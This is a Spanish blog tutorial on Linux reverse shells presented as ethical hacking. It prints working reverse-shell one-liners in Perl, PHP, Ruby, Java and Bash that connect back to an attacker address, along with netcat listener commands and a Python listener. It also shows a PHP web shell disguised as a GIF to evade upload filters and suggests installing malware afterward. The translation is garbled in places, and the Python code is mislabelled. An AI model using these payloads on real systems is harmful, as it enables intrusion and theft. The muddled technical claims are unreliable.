Revelando el poder de Linux Reverse Shells para el hacking ético

Revelando el poder de Linux Reverse Shells para el hacking ético - Codelivly

Imagínese ser un titiritero invisible, moviendo los hilos detrás de escena, guiando a su objetivo a través de un laberinto de trampas digitales y obteniendo un control total sobre sus movimientos. Este es el fascinante mundo de los shells inversos, donde los piratas informáticos éticos aprovechan sus habilidades para evaluar y fortalecer la seguridad de la red, navegar por los firewalls y explotar las vulnerabilidades para mantenerse a la vanguardia del panorama de amenazas en constante evolución.

En este artículo, nos sumergimos en el ámbito de los shells inversos de Linux, explorando sus fascinantes mecanismos, las herramientas y técnicas que les dan vida y las formas responsables de usarlos con fines de piratería ética. Únase a nosotros en este viaje mientras descubrimos los secretos de los caparazones invertidos y descubrimos su verdadero potencial en la lucha contra las ciberamenazas.

Índice
  1. Puntos a cubrir
  2. condiciones previas
  3. Como un se produce un ataque shell inverso?
  4. Lenguajes de programación usado
  5. Problemas durante ejecución de inyección de capa inversa
  6. Superar problemas
  7. Conclusión

Puntos a cubrir

  • condiciones previas
  • Como un se produce un ataque shell inverso?
  • Lenguajes de programación usado
  • Problemas durante ejecución de inyección de capa inversa
  • Superar problemas
  • Conclusión

condiciones previas

Para escuchar un shell inverso en Linux, debe tener instalado netcat. Pero en Windows necesita tener ncat, que está instalado con la suite nmap para ejecutar el oyente en Linux. Y, en Windows, debe ejecutar el siguiente código para escuchar el shell inverso.

linux
nc –nlvp <port-used-by-u>

windows
ncat.exe –nlvp <port-used-by-u>

Como un se produce un ataque shell inverso?

En la mayoría de los casos, se produce un ataque de shell inverso cuando una aplicación es vulnerable a una vulnerabilidad de ejecución remota de código. Un atacante utiliza dicha vulnerabilidad en una aplicación para ejecutar código en la máquina de la víctima que inicia la sesión de shell. Sin saberlo, la víctima crea una conexión y el atacante solo tiene que escuchar las conexiones entrantes en el puerto correcto. Una vez que se establece la conexión, el atacante tiene acceso de shell a la víctima y hace todo tipo de cosas emocionantes.

Piense en ello como una pelota de tenis. Si lo arrojas a algo duro, volverá a ti. Solo necesita atraparlo en el lugar correcto en el momento correcto.

[Disclaimer: This article is for educational and ethical hacking purposes only. Unauthorized hacking, accessing systems or networks without permission, or any form of cybercrime is illegal and punishable by law. We do not promote or support such activities.]

Lenguajes de programación usado

Literalmente, se puede usar cualquier lenguaje de programación de alto a bajo nivel, se puede usar cualquiera, pero los más comunes son: -

  • pitón
  • Java
  • perla
  • rubí
  • PHP
  • golpear
python:

Python es un lenguaje de programación de muy rápido crecimiento y está involucrado en todo, desde sitios web hasta aplicaciones de escritorio, se usa en todas partes. así que algunas veces después de la enumeración, si encuentra que puede usar python en el servidor, puede usar el código a continuación para iniciar una conexión de shell inversa.

import socket

SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003
# send 1024 (1kb) a time (as buffer size)
BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase
# separator string for sending 2 messages in one go
SEPARATOR = "<sep>"

# create a socket object
s = socket.socket()

# bind the socket to all IP addresses of this host
s.bind((SERVER_HOST, SERVER_PORT))
# make the PORT reusable
# when you run the server multiple times in Linux, Address already in use error will raise
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")

# accept any connections attempted
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")

# receiving the current working directory of the client
cwd = client_socket.recv(BUFFER_SIZE).decode()
print("[+] Current working directory:", cwd)

while True:
    # get the command from prompt
    command = input(f"{cwd} $> ")
    if not command.strip():
        # empty command
        continue
    # send the command to the client
    client_socket.send(command.encode())
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
        break
    # retrieve command results
    output = client_socket.recv(BUFFER_SIZE).decode()
    print("output:", output)
    # split command output and current directory
    results, cwd = output.split(SEPARATOR)
    # print output
    print(results)
# close connection to the client
client_socket.close()
# close server connection
s.close()
perl:

Perl, al igual que Python, es un lenguaje de programación utilizado en el desarrollo web, pero comparativamente más utilizado que Python.

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

En el código de arriba en lugar de 10.0.0.1 puede especificar su IP y en el ( $p= ) puede especificar el puerto que prefiera

php:

PHP es un lenguaje de secuencias de comandos del lado del servidor. que se utiliza para desarrollar sitios web estáticos o sitios web dinámicos o aplicaciones web. PHP significa preprocesador de hipertexto, que anteriormente significaba páginas de inicio personales. Los scripts de PHP solo se pueden interpretar en un servidor donde está instalado PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

En el código de arriba en lugar de 10.0.0.1 puede especificar su IP y en el ( $p= ) puede especificar el puerto que prefiera

ruby:

Ruby y Python son dos lenguajes sólidos para usar en el desarrollo web. Ruby ofrece Ruby on Rails, que utiliza una arquitectura Model-View-Controller (MVC). La arquitectura MVC es una convención para separar la lógica.

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

En el código de arriba en lugar de 10.0.0.1 puede especificar su dirección IP y en ( $p= ) puede especificar el puerto que prefiera

java:

Los desarrolladores de Java se mantienen al día con los desarrollos del lenguaje de codificación, realizan actualizaciones periódicas de los protocolos de seguridad y tienen una excelente comprensión para manejar las solicitudes de datos.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

En el código de arriba en lugar de 10.0.0.1 puede especificar su IP y en el ( $p= ) puede especificar el puerto que prefiera

bash:

Bash no se usa en el sitio web, sino que se usa en el propio servidor Linux y, en la mayoría de los casos, es muy eficiente.

Bash : bash -i >& /dev/tcp/10.10.10.10/4443 0>&1

En el código de arriba en lugar de 10.0.0.1 puede especificar su dirección IP y en ( $p= ) puede especificar el puerto que prefiera

Códigos de shell copiados directamente del sitio web exploit-db.

Problemas durante ejecución de inyección de capa inversa

El principal problema es cómo inyectar el código en el sitio web. Algunos métodos implican incrustar el código en los metadatos de una imagen y luego cargar la imagen en el sitio web.

Puede realizar un ataque shell inverso, pero en algunos sitios web o en la mayoría de los sitios web seguros, divida los archivos descargados en 2 tipos de etiquetas blancas y etiquetas negras. Esto significa que los metadatos se enumeran y la descarga se detiene o los sitios web pueden tener un firewall muy potente o un mecanismo de detección de malware que bloquea el tráfico web anónimo y lo bloquea de forma permanente.

Superar problemas

Para superar los problemas, debe tener muchos recursos, pero es muy difícil eludir el firewall hasta que conozca la información requerida. Por lo tanto, no los incluiremos en el artículo. Pero hay una manera de hacer posible la descarga agregando un encabezado en los metadatos de la imagen. Por lo general, los piratas informáticos usan códigos PHP más que cualquier otro código debido a la versatilidad que ofrece y, a menudo, el código comienza con el formato o encabezado .php, lo que hace que se detecte y finalice, por lo que para que esto no suceda, debe agregar

GIPHY 

encabezado de metadatos para hacer esto, debe seguir los siguientes códigos

#open vim and the photo file with the codes
vim example.png

#enter the GIPHY header on the top of everything

GIF89a;
<?php system($_GET[‘c’]);?>

#save the above 
#u are ready to upload the picture into the website

El GIF89a; es el encabezado GIPHY, le dice al sitio web que es una imagen legítima, pero puede sentir que el código no funcionará, pero funcionará sin problemas y puede escuchar el shell y enumerar el servidor.

Fuente: Las fuentes de este artículo son videos de YouTube y los códigos son de varios repositorios de GitHub. Siempre puede encontrar al propietario del código fuente del programa en Sitio web github.com y exploit-db

Nota: Para enumerar efectivamente el shell web, debe ejecutar /bin/bash/sh/ para obtener correctamente el shell bash para intentar obtener privilegios de sudo o root. Instale cualquier malware o vea cualquier dato en cualquier aspecto y rincón de todo el sistema. Es una herramienta simple pero muy efectiva para enumerar el sistema.

Conclusión

A medida que nuestra exploración de shells inversos en Linux llega a su fin, es esencial reconocer que estas poderosas técnicas, como una espada de doble filo, pueden servir como instrumentos de defensa y destrucción. En manos de hackers éticos y profesionales de la ciberseguridad, los shells inversos se convierten en un aliado indispensable, arrojando luz sobre las vulnerabilidades ocultas y fortaleciendo los baluartes de la seguridad de la red.

Sin embargo, es nuestra responsabilidad colectiva utilizar estas herramientas con precaución, sabiduría y respeto por la ley. Al hacerlo, podemos asegurarnos de que los caparazones inversos sigan siendo una fuerza para el bien, permitiéndonos navegar por el panorama en constante cambio del ciberespacio y proteger nuestras fortalezas digitales de adversarios malintencionados. Entonces, cuando abrace el mundo de los caparazones inversos, deje que su curiosidad se modere con la responsabilidad y deje que su dominio se guíe por un compromiso inquebrantable con la piratería ética.

 

Si quieres conocer otros artículos parecidos a Revelando el poder de Linux Reverse Shells para el hacking ético puedes visitar la categoría Tutoriales.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Subir

Esta página web utiliza cookies para analizar de forma anónima y estadística el uso que haces de la web, mejorar los contenidos y tu experiencia de navegación. Para más información accede a la Política de Cookies . Ver mas